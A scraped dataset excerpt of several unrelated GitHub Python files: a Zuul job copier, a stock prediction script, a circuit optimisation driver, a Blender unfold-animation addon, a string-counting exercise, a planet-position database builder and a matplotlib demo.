pos=pos)\nplt.show()","repo_name":"LucasSte/havina","sub_path":"example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"21474298215","text":"#!/usr/bin/python\n\nimport os\nimport yaml\nimport shutil\nimport sys\n\nHEADER_FILE = '/home/stack/infra-openstack/openstack-zuul-jobs'\nCURRENT_PATH = os.getcwd()\n\n\ndef read_yaml(name_file):\n    with open(name_file, 'r') as f:\n        content_dict = yaml.safe_load(f)\n    return content_dict\n\n\ndef copy_file(srs, des):\n    if not os.path.exists(os.path.dirname(des)):\n        try:\n            os.makedirs(os.path.dirname(des))\n        except OSError as exc:\n            raise exc\n    # Copy file:\n    shutil.copyfile(srs, des)\n\n\ndef auto_move(contents):\n    \"\"\"\n    :param contents: This content that is loaded from .zuul.yaml\n    \"\"\"\n    i = 0\n    for job in contents:\n        run = job.get('job').get('run') + '.yaml'\n        path_run_src = HEADER_FILE + '/' + run\n        path_run_des = CURRENT_PATH + '/' + run\n        path_run_des_rename = path_run_des.replace('dsvm', 'devstack')\n        # Start moving\n        copy_file(path_run_src, path_run_des)\n        post = job.get('job').get('post-run') + '.yaml'\n        path_post_src = HEADER_FILE + '/' + post\n        path_post_des = CURRENT_PATH + '/' + post\n        path_post_des_rename = path_post_des.replace('dsvm', 'devstack')\n        # Start moving\n        copy_file(path_post_src, path_post_des)\n\n\ndef main():\n    input_file = CURRENT_PATH + '/' + sys.argv[1]\n    content_dict = read_yaml(input_file)\n    auto_move(content_dict)\n\n\nif __name__ == '__main__':\n    main()\n\n","repo_name":"namnh68/nam","sub_path":"python-example/auto_convert_zuul/auto-move.py","file_name":"auto-move.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"16910207494","text":"import logging\nimport pandas as pd\nimport wltimer\nimport BpNet as bpnet\nimport akshare as ak\nimport os\nimport datetime\n\n\nlogging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nlogger = logging.getLogger(__name__)\nt = wltimer.Timer()\nt.start()\nif not os.path.exists('全部股票.xlsx'):\n    stock_zh_a_spot_em_df = ak.stock_zh_a_spot_em()\n    stock_zh_a_spot_em_df.to_excel('全部股票.xlsx')\nif os.path.exists('全部股票.xlsx'):\n    stock_zh_a_spot_em_df = pd.read_excel('全部股票.xlsx')\nsfgpmc = []\nsfgpdm = []\nsfgoumai = []\ngmxishudandu, sfgmxishu = [], []\nsfgmzql, sfgmjg, sfgmrq = [], [], []\nfor row in stock_zh_a_spot_em_df[['序号', '代码', '名称', '最新价', '今开',\n                                  '昨收']].itertuples():\n    for filep in os.listdir('./data'):\n        if os.path.isdir('./data/' + filep) and filep == str(row.代码).zfill(6):\n            layer = [90, 10, 6]\n            bp = bpnet.BpNet(row.代码, row.名称, None, slayer=layer, learningrate=0.2,\n                             diyicitrain=True, t_zongcishu=200)\n            if str(row.代码).zfill(6)[0:3] == '300' or str(row.代码).zfill(6)[0:3] == '688':\n                continue\n            gpxh, gpmc, zql1 = bp.getgrowable()\n            pr = bp.predict_zgzt()\n            if pr is not None:\n                sfgoumai.append(pr[0])\n                sfgpmc.append(pr[1])\n                sfgpdm.append(pr[2])\n                gmxishudandu.append(pr[3])\n                sfgmxishu.append(pr[4])\n                sfgmzql.append(pr[5])\n                sfgmjg.append(pr[6])\n                sfgmrq.append(pr[7])\npddata = {'sfgm': sfgoumai, 'gpmc': sfgpmc, 'gmdm': sfgpdm,\n          'gmxsdandu': gmxishudandu,\n          'gmxs': sfgmxishu, 'zql': sfgmzql,\n          'gmjg': sfgmjg, 'jkrq': sfgmrq}\npde = pd.DataFrame(pddata)\ndate_ye = str(datetime.date.today().year) +\\\n              str(datetime.date.today().month).zfill(2)\\\n              + str(datetime.date.today().day - 1).zfill(2)\npde.to_excel('./predict/' + date_ye + '预测数据.xlsx')\nhaoshi = t.stop()\nlogging.info(\"耗时\" + str(haoshi))","repo_name":"soj1998/lw_ai","sub_path":"BPNN/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":2139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"14409206850","text":"import numpy as np\nfrom greedy_frog import GreedyFrog\nfrom mprm_frog import JumpFrog\nimport time\nimport os\nfrom circuit.pla_parser import Parser\nfrom circuit.circuit import *\n\n\ndef test(inputs, w, limits):\n    return np.mat(inputs) * np.mat(w).T <= limits\n\n\ndef dp(n, w, p, c):\n    f = [[0 for i in range(c + 1)] for i in range(n + 1)]  # 初始化\n    for i in range(1, n + 1):\n        for j in range(0, c + 1):\n            f[i][j] = f[i - 1][j]\n            if j >= w[0][i - 1]:\n                f[i][j] = max(f[i][j], f[i - 1][j - w[0][i - 1]] + p[0][i - 1])\n    return f[n][c]\n\n\ndef enu(file):\n    parser = Parser(\"dataset/mcnc2\")\n    bool_c = parser.parse(file)\n    # print(bool_c.terms, bool_c.outs)\n    mprm = MPRM()\n    nill = np.zeros((1, bool_c.in_num))[0]\n    mprm.fromBoolean2(bool_c, nill)\n    mina = 2 ** mprm.in_num\n    for pp in range(3 ** mprm.in_num):\n        nill = num_to_polarity(pp, mprm.in_num)\n        mprm.turnTo(nill)\n        if mina > mprm.get_area():\n            mina = mprm.get_area()\n        print(nill, mprm.get_area())\n        # print(mprm.terms)\n    print(mina)\n\n\ndef tests():\n    bti = np.array(\n        [[1, 1, -1],\n        [-1, 1, 1],\n        [1, -1, 1],\n        [1, 0, 0],\n        [1, 1, 1],\n        [0, 1, 0],\n        [0, 0, 1]]\n    )\n    bto = np.array(\n        [[0, 1],\n        [0, 1],\n        [0, 1],\n        [1, 0],\n        [1, 0],\n        [1, 0],\n        [1, 0]]\n    )\n    testi = np.array([\n        [0, 0, 1],\n        [0, 1, 0],\n        [0, 1, 1],\n        [1, 0, 0],\n        [1, 0, 1],\n        [1, 1, 0],\n        [1, 1, 1]\n    ])\n    testo = np.array([\n        [1, 0],\n        [1, 0],\n        [0, 1],\n        [1, 0],\n        [0, 1],\n        [0, 1],\n        [1, 1]\n    ])\n    B1 = BooleanCircuit(3, 2, 7, bti, bto)\n    M1 = MPRM()\n    M1.fromBoolean2(B1, np.array([2, 1, 0]))\n    print(M1.terms, M1.outs)\n    M1.turnTo(np.array([0, 0, 0]))\n    print(M1.terms, M1.outs)\n\n\ndef pack():\n    n = 5000\n    ans = 0\n    best = 0\n    w = np.random.randint(1, 10, (1, n))\n    p = np.random.randint(1, 15, (1, n))\n    c = int(np.sum(w) / 2)\n    time_start1 = time.time()\n    print(\"ground truth: \", dp(n, w, p, c))\n    time_end1 = time.time()\n    print('time cost', time_end1 - time_start1, 's')\n\n    time_start2 = time.time()\n    for i in range(5):\n        model = GreedyFrog(20, 5, w, p, c)\n        model.init()\n        res = model.train(20)\n        print(res[1])\n        ans = ans + res[1]\n        if res[1] > best:\n            best = res[1]\n    print(\"best: \", best)\n    print(\"ave: \", ans / 5.0)\n    time_end2 = time.time()\n    print('time cost', (time_end2 - time_start2) / 5.0, 's')\n\n\nif __name__ == '__main__':\n\n    parser = Parser(\"dataset/mcnc2\")\n    files = os.listdir(\"dataset/mcnc2\")\n    files = ['clpl.pla']\n    for f in files:\n        ans = 0\n        bool_c = parser.parse(f)\n        best = 2**bool_c.in_num\n        mprm = MPRM()\n        nill = np.zeros((1, bool_c.in_num))[0]\n        mprm.fromBoolean2(bool_c, nill)\n        \"\"\"\n        mina = 2**mprm.in_num\n        for pp in range(3**mprm.in_num):\n            nill = num_to_polarity(pp, mprm.in_num)\n            print(nill)\n            mprm.turnTo(nill)\n                if mina > mprm.get_area():\n                    mina = mprm.get_area()\n            print(nill, mprm.get_area())\n        print(mina)\n        os.system(\"pause\")\n        \"\"\"\n\n        time_start2 = time.time()\n        for i in range(4):\n            # print(\"m\", i)\n            model = JumpFrog(20, 5, mprm)\n            model.init()\n            gb, res = model.train(10)\n            print(-res, best)\n            ans = ans + res\n            if -res < best:\n                best = -res\n            mprm.turnTo(nill)\n        print(f, \"best: \", best)\n        print(f, \"ave: \", -ans / 4.0)\n        time_end2 = time.time()\n        print('time cost', (time_end2 - time_start2) / 4.0, 's')\n\n\n\n\n\n\n\n\n\n","repo_name":"XuanchenLi/Circuit-area-optimization-of-MPRM","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3853,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"51"}
+{"seq_id":"11677302074","text":"bl_info = {\n    \"name\": \"Unfold transition\",\n    \"version\": (0, 1, 0),\n    \"location\": \"Tool bar > Animation tab > UnFold Transition\",\n    \"description\": \"Simple unfold transition / animation, will separate faces and set up an armature\",\n    \"category\": \"Animation\"}\n\nimport bpy\nfrom bpy.props import (\n        BoolProperty,\n        EnumProperty,\n        FloatProperty,\n        IntProperty,\n        # PointerProperty,\n        )\nfrom bpy.types import (\n        Operator,\n        Panel,\n        )\nfrom random import (\n        randint,\n        uniform,\n        )\nfrom mathutils import Vector\nfrom mathutils.geometry import intersect_point_line\n\n\nbpy.types.WindowManager.modo = EnumProperty(\n            name=\"\",\n            items=[(\"cursor\", \"3D Cursor\", \"Use the Distance to 3D Cursor\"),\n                   (\"weight\", \"Weight Map\", \"Use a Painted Weight map\"),\n                   (\"index\", \"Mesh Indices\", \"Use Faces and Vertices index\")],\n            description=\"How to Sort Bones for animation\", default=\"cursor\"\n            )\nbpy.types.WindowManager.flip = BoolProperty(\n            name=\"Flipping Faces\",\n            default=False,\n            description=\"Rotate faces around the Center & skip Scaling - \"\n                        \"keep checked for both operators\"\n            )\nbpy.types.WindowManager.fold_duration = IntProperty(\n            name=\"Total Time\",\n            min=5, soft_min=25,\n            max=10000, soft_max=2500,\n            default=200,\n            description=\"Total animation length\"\n            )\nbpy.types.WindowManager.sca_time = IntProperty(\n            name=\"Scale Time\",\n            min=1,\n            max=5000, soft_max=500,\n            default=10,\n            description=\"Faces scaling time\"\n            )\nbpy.types.WindowManager.rot_time = IntProperty(\n            name=\"Rotation Time\",\n            min=1, soft_min=5,\n            max=5000, soft_max=500,\n            default=15,\n            description=\"Faces rotation time\"\n            )\nbpy.types.WindowManager.rot_max = IntProperty(\n            name=\"Angle\",\n            min=-180,\n            max=180,\n            default=135,\n            description=\"Faces rotation angle\"\n            )\nbpy.types.WindowManager.fold_noise = IntProperty(\n            name=\"Noise\",\n            min=0,\n            max=500, soft_max=50,\n            default=0,\n            description=\"Offset some faces animation\"\n            )\nbpy.types.WindowManager.bounce = FloatProperty(\n            name=\"Bounce\",\n            min=0,\n            max=10, soft_max=2.5,\n            default=0,\n            description=\"Add some bounce to rotation\"\n            )\nbpy.types.WindowManager.from_point = BoolProperty(\n            name=\"Point\",\n            default=False,\n            description=\"Scale faces from a Point instead of from an Edge\"\n            )\nbpy.types.WindowManager.wiggle_rot = BoolProperty(\n            name=\"Wiggle\",\n            default=False,\n            description=\"Use all Axis + Random Rotation instead of X Aligned\"\n            )\n\n\nclass Set_Up_Fold(Operator):\n    bl_idname = \"object.set_up_fold\"\n    bl_label = \"Set Up Unfold\"\n    bl_description = \"Set up Faces and Bones for animation\"\n    bl_options = {\"REGISTER\", \"UNDO\"}\n\n    @classmethod\n    def poll(cls, context):\n        return (bpy.context.object.type == \"MESH\")\n\n    def execute(self, context):\n        bpy.ops.object.mode_set()\n        wm = context.window_manager\n        scn = bpy.context.scene\n        obj = bpy.context.object\n        dat = obj.data\n        fac = dat.polygons\n        ver = dat.vertices\n\n        # try to cleanup traces of previous actions\n        bpy.ops.object.mode_set(mode=\"EDIT\")\n        bpy.ops.mesh.remove_doubles(threshold=0.0001, use_unselected=True)\n        bpy.ops.object.mode_set()\n        old_vg = [vg for vg in obj.vertex_groups if vg.name.startswith(\"bone.\")]\n        for vg in old_vg:\n            obj.vertex_groups.remove(vg)\n        if \"UnFold\" in obj.modifiers:\n            arm = obj.modifiers[\"UnFold\"].object\n            rig = arm.data\n            try:\n                scn.objects.unlink(arm)\n                bpy.data.objects.remove(arm)\n                bpy.data.armatures.remove(rig)\n            except:\n                pass\n            obj.modifiers.remove(obj.modifiers[\"UnFold\"])\n\n        # try to obtain the face sequence from the vertex weights\n        if wm.modo == \"weight\":\n            if len(obj.vertex_groups):\n                i = obj.vertex_groups.active.index\n                W = []\n                for f in fac:\n                    v_data = []\n                    for v in f.vertices:\n                        try:\n                            w = ver[v].groups[i].weight\n                            v_data.append((w, v))\n                        except:\n                            v_data.append((0, v))\n                    v_data.sort(reverse=True)\n                    v1 = ver[v_data[0][1]].co\n                    v2 = ver[v_data[1][1]].co\n                    cen = Vector(f.center)\n                    its = intersect_point_line(cen, v2, v1)\n                    head = v2.lerp(v1, its[1])\n                    peso = sum([x[0] for x in v_data])\n                    W.append((peso, f.index, cen, head))\n                W.sort(reverse=True)\n                S = [x[1:] for x in W]\n            else:\n                self.report({\"INFO\"}, \"First paint a Weight Map for this object\")\n                return {\"FINISHED\"}\n\n        # separate the faces and sort them\n        bpy.ops.object.mode_set(mode=\"EDIT\")\n        bpy.ops.mesh.select_all(action=\"SELECT\")\n        bpy.ops.mesh.edge_split()\n        bpy.ops.mesh.select_all(action=\"SELECT\")\n        if wm.modo == \"cursor\":\n            bpy.context.tool_settings.mesh_select_mode = [True, True, True]\n            bpy.ops.mesh.sort_elements(type=\"CURSOR_DISTANCE\", elements={\"VERT\", \"EDGE\", \"FACE\"})\n        bpy.context.tool_settings.mesh_select_mode = [False, False, True]\n        bpy.ops.object.mode_set()\n\n        # Get sequence of faces and edges from the face / vertex indices\n        if wm.modo != \"weight\":\n            S = []\n            for f in fac:\n                E = list(f.edge_keys)\n                E.sort()\n                v1 = ver[E[0][0]].co\n                v2 = ver[E[0][1]].co\n                cen = Vector(f.center)\n                its = intersect_point_line(cen, v2, v1)\n                head = v2.lerp(v1, its[1])\n                S.append((f.index, f.center, head))\n\n        # create the armature and the modifier\n        arm = bpy.data.armatures.new(\"arm\")\n        rig = bpy.data.objects.new(\"rig_\" + obj.name, arm)\n        rig.matrix_world = obj.matrix_world\n        scn.objects.link(rig)\n        scn.objects.active = rig\n        bpy.ops.object.mode_set(mode=\"EDIT\")\n        arm.draw_type = \"WIRE\"\n        rig.show_x_ray = True\n        mod = obj.modifiers.new(\"UnFold\", \"ARMATURE\")\n        mod.show_in_editmode = True\n        mod.object = rig\n\n        # create bones and vertex groups\n        root = arm.edit_bones.new(\"bone.000\")\n        root.tail = (0, 0, 0)\n        root.head = (0, 0, 1)\n        root.select = True\n        vis = [False, True] + [False] * 30\n\n        for fb in S:\n            f = fac[fb[0]]\n            b = arm.edit_bones.new(\"bone.000\")\n            if wm.flip:\n                b.tail, b.head = fb[2], fb[1]\n            else:\n                b.tail, b.head = fb[1], fb[2]\n            b.align_roll(f.normal)\n            b.select = False\n            b.layers = vis\n            b.parent = root\n            vg = obj.vertex_groups.new(b.name)\n            vg.add(f.vertices, 1, \"ADD\")\n\n        bpy.ops.object.mode_set()\n        if wm.modo == \"weight\":\n            obj.vertex_groups.active_index = 0\n        scn.objects.active = rig\n        obj.select = False\n\n        return {\"FINISHED\"}\n\n\nclass Animate_Fold(Operator):\n    bl_idname = \"object.animate_fold\"\n    bl_label = \"Animate Unfold\"\n    bl_description = \"Animate bones to simulate unfold... Starts on current frame\"\n    bl_options = {\"REGISTER\", \"UNDO\"}\n\n    @classmethod\n    def poll(cls, context):\n        obj = bpy.context.object\n        return (obj.type == \"ARMATURE\" and obj.is_visible(bpy.context.scene))\n\n    def execute(self, context):\n        obj = bpy.context.object\n        scn = bpy.context.scene\n        fra = scn.frame_current\n        wm = context.window_manager\n\n        # clear the animation and get the list of bones\n        if obj.animation_data:\n            obj.animation_data_clear()\n        bpy.ops.object.mode_set(mode=\"POSE\")\n        bones = obj.pose.bones[0].children_recursive\n        if wm.flip:\n            rot = -3.141592\n        else:\n            rot = wm.rot_max / 57.3\n        extra = wm.rot_time * wm.bounce\n        ruido = max(wm.rot_time + extra, wm.sca_time) + wm.fold_noise\n        vel = (wm.fold_duration - ruido) / len(bones)\n\n        # introduce scale and rotation keyframes\n        for a, b in enumerate(bones):\n            t = fra + a * vel + randint(0, wm.fold_noise)\n            if wm.flip:\n                b.scale = (1, 1, 1)\n            elif wm.from_point:\n                b.scale = (0, 0, 0)\n            else:\n                b.scale = (1, 0, 0)\n            if not wm.flip:\n                b.keyframe_insert(\"scale\", frame=t)\n                b.scale = (1, 1, 1)\n                b.keyframe_insert(\"scale\", frame=t + wm.sca_time)\n            if wm.rot_max:\n                b.rotation_mode = \"XYZ\"\n                if wm.wiggle_rot:\n                    euler = (uniform(-rot, rot), uniform(-rot, rot), uniform(-rot, rot))\n                else:\n                    euler = (rot, 0, 0)\n                b.rotation_euler = euler\n                b.keyframe_insert(\"rotation_euler\", frame=t)\n            if wm.bounce:\n                val = wm.bounce * -.10\n                b.rotation_euler = (val * euler[0], val * euler[1], val * euler[2])\n                b.keyframe_insert(\"rotation_euler\", frame=t + wm.rot_time + .25 * extra)\n                val = wm.bounce * .05\n                b.rotation_euler = (val * euler[0], val * euler[1], val * euler[2])\n                b.keyframe_insert(\"rotation_euler\", frame=t + wm.rot_time + .50 * extra)\n                val = wm.bounce * -.025\n                b.rotation_euler = (val * euler[0], val * euler[1], val * euler[2])\n                b.keyframe_insert(\"rotation_euler\", frame=t + wm.rot_time + .75 * extra)\n            b.rotation_euler = (0, 0, 0)\n            b.keyframe_insert(\"rotation_euler\", frame=t + wm.rot_time + extra)\n\n        return {\"FINISHED\"}\n\n\nclass PanelFOLD(Panel):\n    bl_label = \"Unfold Transition\"\n    bl_space_type = \"VIEW_3D\"\n    bl_region_type = \"TOOLS\"\n    bl_category = \"Create\"\n    bl_context = \"objectmode\"\n    bl_options = {\"DEFAULT_CLOSED\"}\n\n    def draw(self, context):\n        wm = context.window_manager\n        layout = self.layout\n        column = layout.column()\n        column.operator(\"object.set_up_fold\", text=\"1. Set Up Unfold\")\n        column.prop(wm, \"modo\")\n        column.prop(wm, \"flip\")\n        layout.separator()\n        column = layout.column()\n        column.operator(\"object.animate_fold\", text=\"2. Animate Unfold\")\n        column.prop(wm, \"fold_duration\")\n        column.prop(wm, \"sca_time\")\n        column.prop(wm, \"rot_time\")\n        column.prop(wm, \"rot_max\")\n        row = column.row(align=True)\n        row.prop(wm, \"fold_noise\")\n        row.prop(wm, \"bounce\")\n        row = column.row(align=True)\n        row.prop(wm, \"wiggle_rot\")\n        if not wm.flip:\n            row.prop(wm, \"from_point\")\n\n\ndef register():\n    bpy.utils.register_class(Set_Up_Fold)\n    bpy.utils.register_class(Animate_Fold)\n    bpy.utils.register_class(PanelFOLD)\n\n\ndef unregister():\n    bpy.utils.unregister_class(Set_Up_Fold)\n    bpy.utils.unregister_class(Animate_Fold)\n    bpy.utils.unregister_class(PanelFOLD)\n\n\nif __name__ == \"__main__\":\n    register()\n","repo_name":"Zhincore/bgeserver2","sub_path":"client/2.78/scripts/addons/add_advanced_objects/unfold_transition.py","file_name":"unfold_transition.py","file_ext":"py","file_size_in_byte":11796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"38408383523","text":"import sys\nsys.stdin = open('input.txt')\n\nT = int(input())\n\n# 개수를 반환하는 함수 count_str 선언\ndef count_str(str1, str2):\n    # 빈 딕셔너리 result 선언\n    result = {}\n\n    # str1의 요소와 str2의 요소가 같을 경우 count 추가\n    # i 값을 key로 count를 value로 딕셔너리 저장\n    for i in str1:\n        count = 0\n        for j in str2:\n            if i == j:\n                count += 1\n        result[i] = count\n\n    max_value = 0\n\n    # 딕셔너리에서 가장 큰 값 찾아서 반환\n    for key, value in result.items():\n        if value > max_value:\n            max_value = value\n\n    return max_value\n\n\n\nfor test_case in range(1, T + 1):\n    str1 = input()\n    str2 = input()\n    print('#%d %s' %(test_case, count_str(str1, str2)))","repo_name":"Hyojeong721/TIL","sub_path":"algorithm/SWA/date/0817/haeri.lim.lhr/4865_글자수/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"1176886949","text":"\n\n###############################################\n#\n# This script is used to create an sqlite database\n# and calculate planet positions\n#\n################################################\n\n\n\nimport os, sys, sqlite3, datetime, math, time\n\nimport redis\n\ntry:\n    import astropy.units as u\n    from astropy.coordinates import SkyCoord, EarthLocation, AltAz, name_resolve, solar_system_ephemeris, get_body, Angle\n    from astropy.time import Time\nexcept:\n    sys.exit(1)\n\nsolar_system_ephemeris.set('jpl')\n\nTHIS_DIRECTORY = os.path.dirname(os.path.realpath(__file__))\n\n# The path to the file of the database to be created\nPLANETDB = os.path.join(THIS_DIRECTORY, \"planet.db\")\n\nLONGITUDE = -2.1544\nLATITUDE = 53.7111\nELEVATION = 316\n\n\n\ndef create_database():\n    \"Create planet.db\"\n    # connect to database\n    try:\n        con = sqlite3.connect(PLANETDB, detect_types=sqlite3.PARSE_DECLTYPES)\n        con.execute(\"PRAGMA foreign_keys = 1\")\n    except:\n        return 1, \"Unable to open new database file %s. Please check permissions.\" % (PLANETDB,)\n\n    try:\n        # make table of planet positions, with datetime, planet name as primary key\n        con.execute(\"\"\"CREATE TABLE POSITIONS(DATEANDTIME timestamp,\n                                              NAME TEXT NOT NULL,\n                                              RA REAL,\n                                              DEC REAL,\n                                              ALT REAL,\n                                              AZ REAL,\n                                              PRIMARY KEY(DATEANDTIME,NAME))\"\"\")\n        con.commit()\n    except:\n        return 2, \"Unable to create table in the new database file %s.\" % (PLANETDB,)\n\n    finally:\n        con.close()\n\n    return 0, \"database created\"\n\n\ndef delete_old():\n    \"Delete old entries\"\n    # connect to database\n    try:\n        con = sqlite3.connect(PLANETDB, detect_types=sqlite3.PARSE_DECLTYPES)\n        con.execute(\"PRAGMA foreign_keys = 1\")\n        c = con.cursor()\n    except:\n        return 5\n\n    # delete planets older than two hours ago\n    twohoursago = datetime.datetime.utcnow() - datetime.timedelta(hours=2)\n    try:\n        c.execute('DELETE FROM POSITIONS WHERE DATEANDTIME<?', (twohoursago,))\n        con.commit()\n        print(\"Rows deleted: %s\" % (con.total_changes,))\n    except:\n        return 6\n\n    finally:\n        con.close()\n\n    return 0\n\n\n\ndef make_ten_days(astro_centre):\n    \"For each planet, create the positions over ten days\"\n\n    # connect to database\n    try:\n        con = sqlite3.connect(PLANETDB, detect_types=sqlite3.PARSE_DECLTYPES)\n        con.execute(\"PRAGMA foreign_keys = 1\")\n    except:\n        return 3\n\n    planets = (\"mercury\", \"venus\", \"moon\", \"mars\", \"jupiter\", \"saturn\", \"uranus\", \"neptune\", \"pluto\")\n\n    todaydate = datetime.datetime.utcnow().date()\n    # set an initial time at 0 am today\n    dt = datetime.datetime(todaydate.year, todaydate.month, todaydate.day, hour=0)\n    oneday = datetime.timedelta(days=1)\n\n    try:\n        for day in range(10):\n            for planet in planets:\n                status = make_day(astro_centre, dt, planet, con)\n                if status:\n                    return status\n            dt += oneday\n        con.commit()\n        print(\"Rows added: %s\" % (con.total_changes,))\n    except:\n        return 4\n\n    finally:\n        con.close()\n\n    return 0\n\n\ndef make_day(astro_centre, dt, planet, con):\n    \"For the given planet, create the position at hourly intervals over the day\"\n    c = con.cursor()\n\n    for hr in range(24):\n        ptime = dt + datetime.timedelta(hours=hr, minutes=30)\n        # so ptime is the position time, check if it exists in the database\n\n        item = (ptime, planet)\n\n        c.execute('SELECT * FROM POSITIONS WHERE DATEANDTIME=? AND NAME=?', item)\n        result=c.fetchone()\n        if result is not None:\n            # This position is already created, so skip making it again\n            continue\n        # so for the given ptime, and planet, create a position\n        make_position(astro_centre, ptime, planet, con)\n        \n\ndef make_position(astro_centre, ptime, planet, con):\n    \"Use astropy to get the position, and then insert the data\"\n    \n    time = Time(ptime, format='datetime', scale='utc')\n    target = get_body(planet, time, astro_centre)\n    # altitude and azimuth\n    target_altaz = target.transform_to(AltAz(obstime = time, location = astro_centre))\n    # insert these into the database\n    c = con.cursor()\n    c.execute(\"INSERT INTO POSITIONS VALUES (?, ?, ?, ?, ?, ?)\", (ptime,\n                                                                  planet,\n                                                                  target.ra.degree,\n                                                                  target.dec.degree,\n                                                                  target_altaz.alt.degree,\n                                                                  target_altaz.az.degree))\n\n\n\n\n\ndef _ra_dec_conversion(ra, dec):\n    \"\"\"Given ra and dec in degrees, convert to (rahr, ramin, rasec, decsign, decdeg, decmin, decsec)\n       where decsign is a string, either '+' or '-'\"\"\"\n    # get ra, dec in hms, dms\n    rahr = math.floor(ra / 15.0)\n    if not rahr:\n        ra_remainder = ra\n    else:\n        ra_remainder = math.fmod(ra, rahr*15.0)\n    if not ra_remainder:\n        ramin = 0\n        rasec = 0.0\n    else:\n        ramin = math.floor(ra_remainder * 4)\n        ra_remainder = math.fmod(ra_remainder, 1.0/4.0)\n        if not ra_remainder:\n            rasec = 0.0\n        else:\n            rasec = ra_remainder * 240\n\n    if \"{:2.1f}\".format(rasec) == \"60.0\":\n        rasec = 0\n        ramin += 1\n    if ramin == 60:\n        ramin = 0\n        rahr += 1\n    if rahr == 24:\n        rahr = 0\n\n    absdeg = math.fabs(dec)\n    decdeg = math.floor(absdeg)\n    if not decdeg:\n        dec_remainder = absdeg\n    else:\n        dec_remainder = math.fmod(absdeg, decdeg)\n    if not dec_remainder:\n        decmin = 0\n        decsec = 0.0\n    else:\n        decmin = math.floor(dec_remainder * 60)\n        dec_remainder = math.fmod(dec_remainder, 1.0/60.0)\n        if not dec_remainder:\n            decsec = 0.0\n        else:\n            decsec = dec_remainder * 3600\n\n    if \"{:2.1f}\".format(decsec) == \"60.0\":\n        decsec = 0\n        decmin += 1\n    if decmin == 60:\n        decmin = 0\n        decdeg += 1\n\n    if dec >= 0.0:\n        decsign = '+'\n    else:\n        decsign = '-'\n    return (rahr, ramin, rasec, decsign, decdeg, decmin, decsec)\n\n\n\nif __name__ == \"__main__\":\n\n    if not os.path.isfile(PLANETDB):\n        status, message = create_database()\n        print(message)\n        if status:\n            sys.exit(status)\n    else:\n        # it does exist, delete old entries\n        status = delete_old()\n        if status:\n            # on failure, remove the file, and try to create a new one\n            print(\"Unable to delete old entries, attempting to create new database\")\n            time.sleep(5)\n            os.remove(PLANETDB)\n            status, message = create_database()\n            print(message)\n            if status:\n                sys.exit(status)\n\n    astro_centre = EarthLocation.from_geodetic(LONGITUDE, LATITUDE, ELEVATION)\n\n    # make ten days of planet positions and set into the sqlite database\n    status = make_ten_days(astro_centre)\n    if status:\n        message = f\"Planet calculations failed with status {status}\"\n    else:\n        message = \"Ten days of planet data calculated\"\n\n    try:\n        rconn = redis.Redis(host='localhost', port=6379, db=0, socket_timeout=5)\n    except Exception:\n        print(\"Warning:redis connection failed\")\n    else:\n        try:\n            # create a log entry to set in the redis server\n            fullmessage = datetime.datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S\") + \" \" + message\n            rconn.rpush(\"remscope_various_log_info\", fullmessage)\n            # and limit number of messages to 50\n            rconn.ltrim(\"remscope_various_log_info\", -50, -1)\n        except Exception:\n            print(\"Saving log to redis has failed\")\n\n    sys.exit(status)\n\n\n","repo_name":"bernie-skipole/remscope","sub_path":"astrodata/make_planets.py","file_name":"make_planets.py","file_ext":"py","file_size_in_byte":8129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"37396733577","text":"\n# Fig-7\n# Title\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ncity = ['Dhaka', 'Rajshahi', 'Borishal', 'Khulna']\npopulation1 = [10.4, 6.7, 8.9, 15.2]\npopulation2 = [11.2, 7.5, 9.7, 16.0]\npopulation3 = [12.0, 8.3, 10.5, 16.8]\npopulation4 = [12.8, 9.1, 11.3, 17.6]\npopulation5 = [13.6, 9.9, 12.1, 18.4]\npopulation6 = [14.4, 10.7, 13.9, 19.2]\n\nfigure = plt.figure(figsize=(8, 3), facecolor='w')\n\n# Add Title\nplt.title(\"Title Bar\", color='magenta', fontsize=17, fontweight='bold', style='italic')\n                                # figsize=(X, Y)\n'''\ncolor code\ngreen => g\nred => r\nyellow =>y\nblack =>\nblue => b\nwhite => w\nmagenta => m\n\n'''\n\nfigure.patch.set_alpha(1) # set_alpha() background color\n\n\nplt.plot(city, population1, color='red', marker='s', linestyle='solid')\nplt.plot(city, population2, color='green', marker='X', linestyle='dotted')\nplt.plot(city, population3, 'b^-.')\nplt.plot(city, population4, 'm*-', color=\"black\")\nplt.plot(city, population5, color='green', marker='x', linestyle='dotted')\n'''\n# use format string to specify color, marker, and line style ('color marker linestyle')\nplt.plot(city, population1, 'rs--')\nplt.plot(city, population2, 'gX', linestyle='dotted')\nplt.plot(city, population3, 'b^-.')\nplt.plot(city, population4, 'm*-', color=\"black\")\n'''\n# plot(X, Y, 'color pointShape')\n \n# matplotlib.pyplot.show()","repo_name":"dev-ashik/matplotlib-pyplot-chart","sub_path":"Title.py","file_name":"Title.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
